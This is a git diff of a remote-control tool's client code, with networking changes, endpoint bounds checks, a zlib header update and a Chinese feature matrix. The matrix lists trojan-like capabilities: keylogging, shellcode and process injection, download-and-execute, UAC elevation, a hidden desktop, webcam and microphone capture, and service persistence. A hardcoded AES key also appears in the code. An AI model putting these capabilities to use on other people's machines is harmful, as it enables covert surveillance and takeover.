memcpy(req + sizeof(PkgHeader), command, sizeof(command));
encrypt((BYTE*)req + sizeof(PkgHeader), sizeof(command)); // Hello?
auto bytesSent = send(clientSocket, req, sizeof(req), 0);
if (bytesSent != sizeof(req)) {
closesocket(clientSocket);
@@ -198,6 +233,12 @@ public:
continue;
}
char* ptr = buffer + sizeof(PkgHeader);
struct AES_ctx ctx; // AES Decode
static const unsigned char aes_key[16] = {
0x5A, 0xC3, 0x17, 0xF0, 0x89, 0xB6, 0x4E, 0x7D, 0x1A, 0x22, 0x9F, 0xC8, 0xD3, 0xE6, 0x73, 0xB1
};
AES_init_ctx_iv(&ctx, aes_key, (BYTE*)command + 16);
AES_CBC_decrypt_buffer(&ctx, (BYTE*)ptr, header->originLen);
BYTE cmd = ptr[0], type = ptr[1];
size = 0;
memcpy(&size, ptr + 2, sizeof(int));
@@ -307,6 +348,7 @@ int InjectShellcode(BYTE* buf, int len) {
// 如果配置文件不存在就从命令行中获取IP和端口.
int main(int argc, const char *argv[])
{
srand((unsigned int)time(NULL));
Mprintf("启动运行: %s %s. Arg Count: %d\n", argv[0], argc > 1 ? argv[1] : "", argc);
bool runCmd = (argc > 1 && strncmp(argv[1], "-cmd=", 5) == 0), isService = false;
if (!runCmd) {
+7
View File
@@ -56,6 +56,13 @@ inline bool IsCommandAllowed(unsigned char cmd)
return g_settingsVerified.load(std::memory_order_acquire) || cmd == CMD_MASTERSETTING;
}
// 本连接是否已通过 MasterSettings 校验。转移主机用它判断「目标主控是否真的可用」:
// 连得上但校验一直不通过(对端不是主控,或不是本构建的主控)与连不上等价。
inline bool IsVerified()
{
return g_settingsVerified.load(std::memory_order_acquire);
}
// 处理 CMD_MASTERSETTING(payload = szBuffer + 1,payloadLen = ulLength - 1):
// 强制要求完整 MasterSettings(包含 Signature 字段);不完整 / 签名失败 → 不更新
// g_settingsVerified,让心跳循环 30s 超时自然把本次连接断开重连。
+40
View File
@@ -152,6 +152,7 @@ inline int isValid_10s()
#define CLIENT_CAP_TERMINAL 0x8000 // 主连接处理 COMMAND_SHELL(PTY 终端子连接:exec_command / terminal_*;Linux 一直支持但不声明,新版 Android 与 macOS 声明)
#define CLIENT_CAP_PRIVACY_OVERLAY 0x10000 // 屏幕子连接处理 COMMAND_SCREEN_BLOCK_INPUT / COMMAND_SCREEN_BLANK(Android 用无障碍全屏 overlay 实现;Windows 一直支持锁定键鼠但不声明这个位)
#define CLIENT_CAP_PROCESS 0x20000 // 主连接处理 COMMAND_SYSTEM(系统子连接:COMMAND_PSLIST / COMMAND_KILLPROCESS;Linux/macOS 声明,Windows 一直支持但不声明)
#define CLIENT_CAP_COMPRESS_SWITCH 0x40000 // 支持服务端远程切换线缆压缩(COMMAND_SET_COMPRESS,仅 Windows)
// TOKEN_WEBCAM_DIB 帧头里的 fccHandler(第 3~6 字节):Android 客户端直接发 JPEG,
// 服务端识别这个 FOURCC 后用 turbojpeg 解码,不依赖系统安装 VFW 编解码器。
@@ -385,6 +386,13 @@ enum {
COMMAND_MCP_WINDOW_INFO = 179,
TOKEN_MCP_WINDOW_INFO = 180,
// 线缆压缩切换(服务端 → 客户端):载荷 [cmd:1]["zlib"|"zstd"]。
// 客户端写入自己配置的 settings\compress 后断开当前连接,原地切换本连接的压缩模式,
// 由 StartClient 重连循环用新模式建链;服务端按首包自动识别算法,无需额外握手。
// 不置 S_CLIENT_UPDATE,以免进程内测试客户端退出。只有声明 CLIENT_CAP_COMPRESS_SWITCH
// 的 Windows 客户端认识;老客户端走 default 静默丢弃。
COMMAND_SET_COMPRESS = 181,
TOKEN_DECRYPT = 199,
TOKEN_REGEDIT = 200, // 注册表
COMMAND_REG_FIND, // 注册表 管理标识
@@ -1335,6 +1343,8 @@ typedef struct LOGIN_INFOR {
caps |= CLIENT_CAP_C2C_PATHS;
// 协议切换(COMMAND_SET_PROTO)只有 Windows 客户端实现了命令处理与入口持久化。
caps |= CLIENT_CAP_PROTO_SWITCH;
// 线缆压缩切换(COMMAND_SET_COMPRESS):Windows 客户端同时携带 zlib/zstd。
caps |= CLIENT_CAP_COMPRESS_SWITCH;
// 多显示器远程控制:抓整个虚拟桌面,截图与注入共用同一坐标系。
caps |= CLIENT_CAP_VIRTUAL_DESKTOP;
// 窗口信息 RPC(矩形/z 序/前后台)与窗口激活。
@@ -1414,6 +1424,36 @@ typedef struct LOGIN_INFOR {
{
return StringToVector(szReserved, '|', n);
}
// 按位置改写第 index 个字段(服务端用 LOGIN_RES 下标取值)。AddReserved 只能往后追加,
// 改不了已写好的字段;重连重发登录前刷新某个「当前状态」字段(RES_TLS / RES_UPTIME)
// 就得靠这个。
// 字段数按分隔符数 + 1 数,末尾空槽也算一个字段,拼回去时原样保留——否则少写一个 '|'
// 会让后面的字段整体前移,服务端把用户名读成类型。整体放不下 szReserved 时返回 false
// 且保持原值,绝不写半截。
bool SetReserved(int index, const char* v)
{
if (index < 0 || index >= (int)RES_MAX) return false;
std::vector<std::string> fields;
const char* p = szReserved;
for (;;) {
const char* bar = strchr(p, '|');
if (bar == nullptr) {
fields.push_back(p);
break;
}
fields.push_back(std::string(p, bar - p));
p = bar + 1;
}
if (fields.size() < (size_t)index + 1)
fields.resize((size_t)index + 1); // 补空槽,std::string 默认空串
fields[index] = v ? v : "";
const std::string joined = VectorJoin(fields, '|');
if (joined.size() >= sizeof(szReserved)) return false;
memcpy(szReserved, joined.c_str(), joined.size() + 1);
return true;
}
private:
// 追加一个保留字段。szReserved 是「按位置」解析的(服务端用 LOGIN_RES 下标取值),
+11 -1
View File
@@ -43,10 +43,20 @@ inline bool ParseHeaderEnc(const std::string& s, int& out)
return true;
}
// 端点能安全写进 CONNECT_ADDRESS 的边界。非 Windows 上 strcpy_s/sprintf_s 就是无界的
// strcpy/sprintf(见 commands.h),地址超长会直接踩坏 szPort/iType 等后续字段,
// 所以来自命令或配置文件的端点必须先过这一关。
inline bool FitsConnAddress(const Endpoint& ep)
{
return !ep.ip.empty()
&& ep.ip.size() <= sizeof(((CONNECT_ADDRESS*)nullptr)->szServerIP) - 1
&& ep.port > 0 && ep.port <= 65535;
}
// 把端点写进连接参数。只在连接生命周期的持有线程调用(见文件头注释)。
inline void ApplyEndpoint(CONNECT_ADDRESS& conn, const Endpoint& ep)
{
if (ep.ip.empty() || ep.port <= 0)
if (!FitsConnAddress(ep))
return;
conn.SetServer(ep.ip.c_str(), ep.port);
if (ep.transport >= 0)
+2 -1
View File
@@ -10,7 +10,8 @@
// server/2015Remote/2015RemoteDlg.cpp ShareClient)。命令字节是 COMMAND_SHARE(59),
// 不是「转移主机」用的 COMMAND_ASSIGN_MASTER(207);Windows 客户端的 case 把两者
// 并在一起、靠 buf[1] 的类型字节区分,这里同样两个都收。和「转移主机」的区别:
// 转移改的是本实例的主连接,分享另起一条通往目标主控的连接,主连接原样保留。
// 转移改的是本实例的主连接(收包后立刻断开、重连到新主控,老主控那边随即离线),
// 分享另起一条通往目标主控的连接,主连接原样保留。
// Windows 侧是同一进程里再起一个 ClientApp 线程(client/KernelManager.cpp、
// client/ClientDll.cpp 的 m_bShared 分支);Linux 侧由主实例 fork+exec 出一个
// 分享子进程,复用同一份登录/心跳/命令处理代码。
+6 -2
View File
@@ -17,6 +17,7 @@
namespace HostTransfer {
using HostEndpoint::Endpoint;
using HostEndpoint::FitsConnAddress;
using HostEndpoint::ParseTransport;
using HostEndpoint::ParseHeaderEnc;
using HostEndpoint::ApplyEndpoint;
@@ -28,7 +29,8 @@ struct Target {
long long validTo; // <= 0 表示无效
Target() : validTo(0) {}
bool Valid() const { return !ep.ip.empty() && ep.port > 0 && validTo > 0; }
// 端点容量由 FitsConnAddress 守住:记录里存的是外部输入,直接 ApplyTarget 会越界。
bool Valid() const { return FitsConnAddress(ep) && validTo > 0; }
bool Active(long long now) const { return Valid() && now <= validTo; }
};
@@ -54,7 +56,9 @@ inline bool ParseAssignCommand(const unsigned char* buf, unsigned long len,
Target t;
t.ep.ip = v[0];
t.ep.port = atoi(v[1].c_str());
if (t.ep.ip.empty() || t.ep.port <= 0 || t.ep.port > 65535)
// 长度/端口范围都要挡住:服务端只限制整条载荷不超过 250 字节,地址本身可以顶到
// CONNECT_ADDRESS::szServerIP[100] 之外,写进 g_SETTINGS 时就是堆栈/全局越界。
if (!FitsConnAddress(t.ep))
return false;
double days = atof(v[2].c_str());
+10 -1
View File
@@ -499,6 +499,10 @@ typedef uLong FAR uLongf;
#if defined(_LFS64_LARGEFILE) && _LFS64_LARGEFILE-0
# define Z_LFS64
#elif defined(_WIN32) && !defined(__CYGWIN__) && !defined(__BORLANDC__) && \
!defined(UNDER_CE) && (defined(__MINGW32__) || !defined(__GNUC__))
# define Z_LFS64 /* native Windows has 64-bit file offsets */
# define Z_WINLFS
#endif
#if defined(_LARGEFILE64_SOURCE) && defined(Z_LFS64)
@@ -516,7 +520,7 @@ typedef uLong FAR uLongf;
#endif
#ifndef z_off_t
# define z_off_t long long
# define z_off_t long
#endif
#if !defined(_WIN32) && defined(Z_LARGE64)
@@ -531,6 +535,11 @@ typedef uLong FAR uLongf;
# define z_off64_t z_off_t
#endif
#if defined(Z_WINLFS) && defined(Z_WANT64) && !defined(Z_SOLO)
# undef z_off_t
# define z_off_t z_off64_t
#endif
/* MVS linker does not support external names larger than 8 bytes */
#if defined(__MVS__)
#pragma map(deflateInit_,"DEIN")
+44 -33
View File
@@ -1,5 +1,5 @@
/* zlib.h -- interface of the 'zlib' general purpose compression library
version 1.3.2, February 17th, 2026
version 1.4, November 4th, 2026
Copyright (C) 1995-2026 Jean-loup Gailly and Mark Adler
@@ -41,11 +41,11 @@
extern "C" {
#endif
#define ZLIB_VERSION "1.3.2"
#define ZLIB_VERNUM 0x1320
#define ZLIB_VERSION "1.4"
#define ZLIB_VERNUM 0x1400
#define ZLIB_VER_MAJOR 1
#define ZLIB_VER_MINOR 3
#define ZLIB_VER_REVISION 2
#define ZLIB_VER_MINOR 4
#define ZLIB_VER_REVISION 0
#define ZLIB_VER_SUBREVISION 0
/*
@@ -696,7 +696,9 @@ ZEXTERN int ZEXPORT deflateCopy(z_streamp dest,
deflateCopy returns Z_OK if success, Z_MEM_ERROR if there was not
enough memory, Z_STREAM_ERROR if the source stream state was inconsistent
(such as zalloc being Z_NULL). msg is left unchanged in both source and
destination.
destination. If deflateCopy fails and dest is not Z_NULL, then dest->state
is set to Z_NULL with dest otherwise unchanged, so that deflateEnd(dest) can
be called safely, though dest is not a usable stream.
*/
ZEXTERN int ZEXPORT deflateReset(z_streamp strm);
@@ -769,17 +771,17 @@ ZEXTERN uLong ZEXPORT deflateBound(z_streamp strm, uLong sourceLen);
ZEXTERN z_size_t ZEXPORT deflateBound_z(z_streamp strm, z_size_t sourceLen);
/*
deflateBound() returns an upper bound on the compressed size after
deflation of sourceLen bytes. It must be called after deflateInit() or
deflateInit2(), and after deflateSetHeader(), if used. This would be used
to allocate an output buffer for deflation in a single pass, and so would be
called before deflate(). If that first deflate() call is provided the
sourceLen input bytes, an output buffer allocated to the size returned by
deflateBound(), and the flush value Z_FINISH, then deflate() is guaranteed
to return Z_STREAM_END. Note that it is possible for the compressed size to
be larger than the value returned by deflateBound() if flush options other
than Z_FINISH or Z_NO_FLUSH are used.
deflation of sourceLen bytes. It must be called after deflateInit() or
deflateInit2(), and after deflateSetHeader() or deflateSetDictionary(), if
used. This would be used to allocate an output buffer for deflation in a
single pass, and so would be called before deflate(). If that first
deflate() call is provided the sourceLen input bytes, an output buffer
allocated to the size returned by deflateBound(), and the flush value
Z_FINISH, then deflate() is guaranteed to return Z_STREAM_END. Note that it
is possible for the compressed size to be larger than the value returned by
deflateBound() if flush options other than Z_FINISH or Z_NO_FLUSH are used.
delfateBound_z() is the same, but takes and returns a size_t length. Note
deflateBound_z() is the same, but takes and returns a size_t length. Note
that a long is 32 bits on Windows.
*/
@@ -789,7 +791,7 @@ ZEXTERN int ZEXPORT deflatePending(z_streamp strm,
/*
deflatePending() returns the number of bytes and bits of output that have
been generated, but not yet provided in the available output. The bytes not
provided would be due to the available output space having being consumed.
provided would be due to the available output space having been consumed.
The number of bits of output not provided are between 0 and 7, where they
await more bits to join them in order to fill out a full byte. If pending
or bits are Z_NULL, then those values are not set.
@@ -869,8 +871,7 @@ ZEXTERN int ZEXPORT inflateInit2(z_streamp strm,
instead. windowBits must be greater than or equal to the windowBits value
provided to deflateInit2() while compressing, or it must be equal to 15 if
deflateInit2() was not used. If a compressed stream with a larger window
size is given as input, inflate() will return with the error code
Z_DATA_ERROR instead of trying to allocate a larger window.
size is given as input, inflate() may return with a Z_DATA_ERROR.
windowBits can also be zero to request that inflate use the window size in
the zlib header of the compressed stream.
@@ -980,7 +981,9 @@ ZEXTERN int ZEXPORT inflateCopy(z_streamp dest,
inflateCopy returns Z_OK if success, Z_MEM_ERROR if there was not
enough memory, Z_STREAM_ERROR if the source stream state was inconsistent
(such as zalloc being Z_NULL). msg is left unchanged in both source and
destination.
destination. If inflateCopy fails and dest is not Z_NULL, then dest->state
is set to Z_NULL with dest otherwise unchanged, so that inflateEnd(dest) can
be called safely, though dest is not a usable stream.
*/
ZEXTERN int ZEXPORT inflateReset(z_streamp strm);
@@ -1095,9 +1098,10 @@ ZEXTERN int ZEXPORT inflateGetHeader(z_streamp strm,
a terminating zero. If any of extra, name, or comment are not present in
the header, then that field's pointer is set to Z_NULL. This allows the use
of deflateSetHeader() with the returned structure to duplicate the header.
Note that if those fields initially pointed to allocated memory, then the
application will need to save them elsewhere so that they can be eventually
freed.
Though take care that none of the fields were truncated before so using it,
lest havoc ensue. Note that if those fields initially pointed to allocated
memory, then the application will need to save them elsewhere so that they
can be eventually freed.
If inflateGetHeader is not used, then the header information is simply
discarded. The header is always checked for validity, including the header
@@ -1394,8 +1398,8 @@ ZEXTERN gzFile ZEXPORT gzopen(const char *path, const char *mode);
errno can be checked to determine if the reason gzopen failed was that the
file could not be opened. Note that if 'N' is in mode for non-blocking, the
open() itself can fail in order to not block. In that case gzopen() will
return NULL and errno will be EAGAIN or ENONBLOCK. The call to gzopen() can
then be re-tried. If the application would like to block on opening the
return NULL and errno will be EAGAIN or EWOULDBLOCK. The call to gzopen()
can then be re-tried. If the application would like to block on opening the
file, then it can use open() without O_NONBLOCK, and then gzdopen() with the
resulting file descriptor and 'N' in the mode, which will set it to non-
blocking.
@@ -1501,9 +1505,12 @@ ZEXTERN z_size_t ZEXPORT gzfread(voidp buf, z_size_t size, z_size_t nitems,
gzfread() returns the number of full items read of size size, or zero if
the end of the file was reached and a full item could not be read, or if
there was an error. gzerror() must be consulted if zero is returned in
order to determine if there was an error. If the multiplication of size and
nitems overflows, i.e. the product does not fit in a z_size_t, then nothing
is read, zero is returned, and the error state is set to Z_STREAM_ERROR.
order to determine if there was an error. If some data was read before an
error, then that data is returned until exhausted, after which the next call
will return zero and gzerror() will report the error. If the multiplication
of size and nitems overflows, i.e. the product does not fit in a z_size_t,
then nothing is read, zero is returned, and the error state is set to
Z_STREAM_ERROR.
In the event that the end of file is reached and only a partial item is
available at the end, i.e. the remaining uncompressed data length is not a
@@ -1569,7 +1576,7 @@ ZEXTERN int ZEXPORTVA gzprintf();
these possibilities can be determined using zlibCompileFlags().
If a Z_BUF_ERROR is returned, then nothing was written due to a stall on
the non-blocking write destination.
the non-blocking write destination. The operation can be retried.
*/
ZEXTERN int ZEXPORT gzputs(gzFile file, const char *s);
@@ -1677,7 +1684,9 @@ ZEXTERN z_off_t ZEXPORT gzseek(gzFile file,
gzseek returns the resulting offset location as measured in bytes from
the beginning of the uncompressed stream, or -1 in case of error, in
particular if the file is opened for writing and the new starting position
would be before the current position.
would be before the current position, or if the resulting position would
not be representable in the offset type. If gzseek returns -1, the stream
position is unchanged.
*/
ZEXTERN int ZEXPORT gzrewind(gzFile file);
@@ -1778,7 +1787,8 @@ ZEXTERN const char * ZEXPORT gzerror(gzFile file, int *errnum);
If errnum is not NULL, *errnum is set to zlib error number. If an error
occurred in the file system and not in the compression library, *errnum is
set to Z_ERRNO and the application may consult errno to get the exact error
code.
code. The error is reported by gzerror() as soon as it is detected, which
may be before all of the data read prior to the error has been returned.
The application must not modify the returned string. Future calls to
this function may invalidate the previously returned string. If file is
@@ -1972,7 +1982,8 @@ ZEXTERN int ZEXPORT gzgetc_(gzFile file); /* backward compatibility */
* change the regular functions to 64 bits if _FILE_OFFSET_BITS is 64 (if
* both are true, the application gets the *64 functions, and the regular
* functions are changed to 64 bits) -- in case these are set on systems
* without large file support, _LFS64_LARGEFILE must also be true
* without large file support, _LFS64_LARGEFILE must also be true, except on
* native Windows, where 64-bit offsets are always available
*/
#ifdef Z_LARGE64
ZEXTERN gzFile ZEXPORT gzopen64(const char *, const char *);
@@ -2029,7 +2040,7 @@ ZEXTERN int ZEXPORT gzgetc_(gzFile file); /* backward compatibility */
#endif /* !Z_SOLO */
/* undocumented functions */
/* undocumented functions (not part of the zlib API) */
ZEXTERN const char * ZEXPORT zError(int);
ZEXTERN int ZEXPORT inflateSyncPoint(z_streamp);
ZEXTERN const z_crc_t FAR * ZEXPORT get_crc_table(void);
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
+179
View File
@@ -0,0 +1,179 @@
# 客户端能力矩阵
以 Windows 客户端为基线,对比 Linux、macOS、Android 客户端的实现情况。表中所有主表行在 Windows 列均为 ✓;其他平台按实际代码判断,不做推测。
- 依据:各平台客户端源码(`client/`、`linux/`、`macos/`、`android/app/src/main/`)与登录能力位(`common/commands.h` 的 `DefaultCaps()`),代码基线 `main@d9fe93f`(2026-11-19)。
- `linux/README.md` 里的「未实现」清单部分已过时(例如开机自启已由 `install.sh` 实现),以本表为准。
- 图例:✓ 已实现;△ 部分实现或依赖运行环境;— 未实现。
- 服务端侧功能(主机列表、备注/分组、上线提醒、授权管理界面、MCP、Web 控制台等)不在本表范围。
## 一、连接与传输
| 功能 | Windows | Linux | macOS | Android |
|---|:---:|:---:|:---:|:---:|
| TCP 直连 | ✓ | ✓ | ✓ | ✓ |
| WebSocket / WSS 传输(出包时选择) | ✓ | ✓ | ✓ | ✓ |
| TLS 加密传输 | ✓ | ✓ | ✓ | ✓ |
| 子连接 ConnAuth 身份校验 | ✓ | ✓ | ✓ | ✓ |
| 断线自动重连 | ✓ | ✓ | ✓ | ✓ |
| 心跳与活动窗口上报 | ✓ | ✓ | ✓ | ✓ |
| 服务端修改分组 | ✓ | ✓ | ✓ | ✓ |
| UDP / KCP / HTTP 伪装传输 | ✓ | — | — | — |
| 并发上线(多实例并行) | ✓ | — | — | — |
| 远程切换传输协议(TCP/WS/WSS) | ✓ | — | — | — |
| 客户端 ID 重建(克隆机撞 ID) | ✓ | — | — | — |
| 分享主机 / 取消分享 | ✓ | ✓ | — | — |
| 转移主机(到期自动复原) | ✓ | ✓ | ✓ | ✓ |
说明:
- 分享/转移:Android 实现转移、不实现分享(收到分享命令会回“不支持”);macOS 同样只实现转移(收包即迁移主连接,记录存 `~/.config/ghost/config.conf` 的 `transfer` 键,连不上目标满 60 秒且连续失败 3 次后退回原主控),分享命令回“不支持”。
- **WebSocket/WSS 是“出包能力”,不是“运行时切换能力”**:四个平台的网络层(`IOCPClient` + `WsChannel.h`)都实现了 WS/WSS,生成客户端时把「协议」选为 WebSocket 或 WS+TLS 即可,客户端启动后按烘焙的 `protoType` 连接(需经反向代理入口;WSS 还需内嵌或在线下发的信任锚)。但运行时的「协议切换」菜单走 `COMMAND_SET_PROTO`,只有 Windows 客户端处理该命令并声明 `CLIENT_CAP_PROTO_SWITCH`;其他平台该菜单整组置灰,菜单里勾选 TCP 只是当前实际连接的传输,不代表客户端只能走 TCP。
- UDP/KCP/HTTP 伪装传输:只有 Windows 客户端有对应实现;Linux/macOS/Android 的网络层只处理 TCP/WS/WSS,出包时选其他协议不会生效。
- 并发上线(`RUNNING_PARALLEL`)只有 Windows 客户端实现;其他平台按单实例运行。
- 客户端 ID 重建同样仅 Windows 处理。
- TLS:macOS 复用 `client/TlsChannelLinux.cpp`,实机验证仍待补;Android/Linux 已随 TLS 开关使用。
## 二、远程桌面
| 功能 | Windows | Linux | macOS | Android |
|---|:---:|:---:|:---:|:---:|
| 实时屏幕查看 | ✓ | ✓ | ✓ | ✓ |
| H.264 编码与关键帧请求 | ✓ | ✓ | ✓ | △ |
| 画质档位下发(自适应/固定档) | ✓ | ✓ | ✓ | ✓ |
| 帧率设置(`CMD_FPS`) | ✓ | — | — | ✓ |
| 远程桌面调优 / 硬编码 / SSE2 | ✓ | — | — | — |
| 鼠标/键盘注入 | ✓ | ✓ | ✓ | △ |
| 剪贴板同步 | ✓ | ✓ | ✓ | △ |
| 剪贴板文件同步(复制文件/路径) | ✓ | ✓ | ✓ | — |
| 锁定目标键鼠 | ✓ | — | — | ✓ |
| 隐私屏幕(独立桌面) | ✓ | — | — | — |
| 多显示器整桌面捕获 | ✓ | △ | — | — |
| 切换显示器 | ✓ | — | — | — |
| 黑白屏幕(灰度传输) | ✓ | ✓ | ✓ | — |
| 区域/窗口级截图 | ✓ | — | — | — |
| 全屏 / 远程光标视图偏好 | ✓ | ✓ | — | — |
| 滚动优化 / 多线程压缩 | ✓ | — | — | — |
| RDP 会话归位 / 虚拟桌面重置 / 窗口切换 | ✓ | — | — | — |
| 自定义光标 | ✓ | — | — | — |
| 屏幕缩略图预览 | ✓ | ✓ | ✓ | ✓ |
| 远程音频监听 | ✓ | — | — | ✓ |
| 远程摄像头 | ✓ | — | — | ✓ |
| 键盘记录 | ✓ | — | — | — |
| 即时消息/远程交谈 | ✓ | — | — | ✓ |
| 远程画板 | ✓ | — | — | — |
说明:
- 剪贴板:Windows/Linux/macOS 支持读取与写入;Android 只处理服务端下发的“写入并粘贴”,不支持读取设备剪贴板。
- 剪贴板文件同步:Windows/Linux/macOS 在剪贴板里是文件时返回文件清单/内容(`COMMAND_GET_FOLDER` / `COMMAND_GET_FILE`),Android 没有文件剪贴板协议。
- 缩略图预览:Linux 需有可截图的 X11 会话,macOS 需已授予录屏权限,Android 需无障碍服务与 API 30+;条件不满足时客户端不声明对应能力位,服务端会提前拒绝。
- 画质配置表(`CMD_QUALITY_PROFILES`)仅 Windows/Android 处理;Linux/macOS 只处理单档 `CMD_QUALITY_LEVEL`。
- 关键帧请求(`COMMAND_SCREEN_KEYFRAME_REQ`):Windows/Linux/macOS 处理(Web 屏幕墙恢复用);Android 未处理该命令,只在注入手势后主动请求 IDR。
- 鼠标/键盘注入:Windows/Linux/macOS 是完整键鼠注入;Android 把鼠标映射为触摸手势,只支持 Back/Home/Apps/截图/粘贴等少量按键,没有通用键盘注入。
- 帧率设置:Android 处理 `CMD_FPS`;`CMD_SCREEN_TUNING` 在 Android 上是显式 no-op,`COMMAND_ENCODE_LEVEL`(硬编码选择)只有 Windows 处理。
- 多显示器:Windows 支持整桌面捕获和按显示器切换;Linux 总是抓 X root(含所有显示器),不能按显示器选择;macOS 只抓主显示器。
- 全屏/远程光标:Windows 与 Linux 会把主控端的视图偏好落盘并在下次打开时上报;macOS/Android 没有这两个偏好命令。
- 黑白屏幕(灰度传输):Windows/Linux/macOS 处理 `ALGORITHM_GRAY`;Android 没有该算法,收到后会忽略灰度标志。
- RDP 会话归位/虚拟桌面重置/窗口切换:均为 Windows 屏幕子连接命令,其他平台没有对应实现。
- 键盘记录仅在 Windows 客户端实现(支持实时与离线落盘、清除);其他平台没有输入钩子。
- 远程音频为单向麦克风监听(Windows/Android);双向语音对讲/麦克风回传未实现(评估后放弃)。Windows 的音频开关支持持久化(`CMD_AUDIO_CTRL`),Android 不支持。
- 远程摄像头:Windows 支持压缩开关与分辨率调整;Android 固定 1280×720@8fps JPEG。
- Android 的锁定键鼠、黑屏遮罩、锁屏(映射 `GLOBAL_ACTION_LOCK_SCREEN`)都依赖无障碍服务,客户端按运行时状态追加 `PRIVACY_OVERLAY` / `LOCK_SCREEN` 能力位;Windows 无锁屏/黑屏对应行,故未列入主表。
## 三、文件管理
| 功能 | Windows | Linux | macOS | Android |
|---|:---:|:---:|:---:|:---:|
| 磁盘/目录浏览 | ✓ | ✓ | ✓ | ✓ |
| 上传/下载 | ✓ | ✓ | ✓ | ✓ |
| V2 文件传输通道 | ✓ | ✓ | ✓ | ✓ |
| 断点续传 | ✓ | — | — | — |
| 删除/重命名/新建目录 | ✓ | ✓ | ✓ | ✓ |
| 文件搜索 | ✓ | — | — | ✓ |
| 压缩/解压 | ✓ | — | — | — |
| 客户端间 C2C 文件直传 | ✓ | △ | △ | — |
| 客户端间 C2C 剪贴板文本 | ✓ | △ | △ | — |
| 文件复制/粘贴 / 属性 / 最近文件 / 网上邻居 / 远程打开 / 强制删除 | ✓ | — | — | — |
| 文件加密/解密(经典文件管理器) | ✓ | — | — | — |
| 插件文件管理(SimplePlugins) | ✓ | — | — | — |
说明:
- 断点续传:仅 Windows 客户端处理 `COMMAND_FILE_QUERY_RESUME` / `COMMAND_FILE_RESUME`;其他平台走 V2 普通传输,不响应续传查询。
- C2C 文件:Windows 支持发送(`CLIENT_CAP_C2C_PATHS`)与接收(`COMMAND_C2C_PREPARE/_RESP`);Linux/macOS 只做接收端并在落盘后回执(`CLIENT_CAP_C2C_RECV_ACK`);Android 未实现。C2C 需要收发两端能力配合,单端具备能力不等于任意两平台之间都能直传。
- C2C 剪贴板文本(`COMMAND_C2C_TEXT`):Windows 能发送也能接收;Linux/macOS 只处理接收端(服务端下发文本后写入本机剪贴板,Linux 需要 `xclip`/`xsel`);Android 未实现。
- 文件复制/粘贴、属性、最近文件、网上邻居、远程打开、强制删除:Windows 经典文件管理器的扩展命令;Linux/macOS/Android 的 V2 文件管理只提供目录浏览与增删改,没有这些入口。
- 文件加密/解密:Windows 客户端处理 `COMMAND_FILE_Encryption` / `COMMAND_FILE_Decrypt`;其他平台没有对应实现。
- 插件文件管理(SimplePlugins):Windows 的「实验功能 → 文件管理」走 `COMMAND_FILE_MANAGER_PLUGIN`;其他平台没有该插件入口。
## 四、系统管理
| 功能 | Windows | Linux | macOS | Android |
|---|:---:|:---:|:---:|:---:|
| 进程列表 | ✓ | ✓ | ✓ | △ |
| 结束进程 | ✓ | ✓ | ✓ | △ |
| 进程冻结/解冻/删除 | ✓ | — | — | — |
| 窗口列表 | ✓ | — | △ | — |
| 窗口操作(激活/移动/置顶/关闭) | ✓ | — | — | — |
| 远程终端(PTY) | ✓ | ✓ | ✓ | ✓ |
| 服务管理(启动/停止/暂停/删除) | ✓ | — | — | — |
| 计划任务管理 | ✓ | — | — | — |
| 注册表管理 | ✓ | — | — | — |
| 系统信息/机器管理 | ✓ | — | — | — |
| 已安装软件清单/卸载 | ✓ | — | — | — |
| 电源操作(关机/重启/注销) | ✓ | — | — | — |
| 下载执行 / 上传执行 / DLL 执行 | ✓ | — | — | — |
| 代理映射/端口转发 | ✓ | — | — | — |
| 提权运行(UAC) | ✓ | — | — | — |
| 进程注入(记事本 / Shellcode) | ✓ | — | — | — |
| 连接管理(连接列表/强制断开) | ✓ | — | — | — |
| 远程封禁(强制终止客户端) | ✓ | — | — | — |
说明:
- Android 进程列表/结束进程依赖 root;非 root 设备登录时不声明 `CLIENT_CAP_PROCESS`,服务端直接返回“不支持”。
- 窗口列表:macOS 只提供应用列表(PID 当伪句柄),不是窗口级枚举;Linux 的 `COMMAND_WSLIST` 只回一个空 `TOKEN_WSLIST`(无 GUI 窗口管理),Android 仅上报当前活动窗口标题。窗口移动/置顶/关闭只有 Windows 实现。
- 机器管理(Windows)在同一面板下还提供网络连接、浏览器历史、收藏夹、HOSTS 文件、驱动服务等清单/编辑能力;其他平台没有对应面板。
- 电源操作仅 Windows 实现(MCP `power_action` 也只放行 Windows 主机)。
- 连接管理:Windows 客户端枚举本机 TCP 连接并通过 `SetTcpEntry` 强制断开;其他平台没有 `COMMAND_CONNECTION` / `COMMAND_KILL_CONNECTION` 处理。
- 远程封禁(`COMMAND_FORBIDDEN`)只有 Windows 客户端处理(直接 `TerminateProcess` 退出);其他平台收到命令会走 default 丢弃。
## 五、监控与审计
| 功能 | Windows | Linux | macOS | Android |
|---|:---:|:---:|:---:|:---:|
| 拉取客户端运行日志 | ✓ | ✓ | ✓ | ✓ |
| 历史活动上报 | ✓ | ✓ | ✓ | ✓ |
## 六、升级与运维
| 功能 | Windows | Linux | macOS | Android |
|---|:---:|:---:|:---:|:---:|
| 远程升级 | ✓ | ✓ | — | ✓ |
| TLS 开关下发 | ✓ | ✓ | ✓ | ✓ |
| 自启动/服务化 | ✓ | ✓ | ✓ | △ |
| 远程卸载 | ✓ | — | — | ✓ |
| 授权/许可校验(V2) | ✓ | — | — | — |
说明:
- 远程升级:Windows 替换 PE、Linux 替换 ELF、Android 下发 APK 并拉起系统安装器(尚未真机验收);macOS 客户端没有 `COMMAND_UPDATE` 分支,暂不支持自升级。
- 自启动:Windows 安装为系统服务;Linux 注册 XDG autostart(`install.sh`,另有 `-d` 守护进程模式);macOS 添加登录项;Android 为前台服务,但清单里没有 BOOT_COMPLETED 接收器,重启设备后需手动启动一次。
- 远程卸载:Linux/macOS 仅提供本地 `uninstall.sh`,服务端命令不会被处理。
- 授权/许可:V2 授权校验、服务端「延长授权/撤销授权」只对 Windows 客户端生效;其他平台不参与授权校验。
## 七、平台前提与已知边界
- **Windows**:功能最全;能力位未声明的终端、进程、聊天等功能实际已实现(服务端历史上按平台名放行)。
- **Linux**:抓屏与注入依赖 X11/XTest;Wayland 会话下抓屏不可用。安装脚本要求以普通桌面用户运行,以注册 autostart。
- **macOS**:屏幕录制与辅助功能需要用户在“隐私与安全性”里授权;更新二进制会导致授权失效,需要重新授权。自升级未实现。
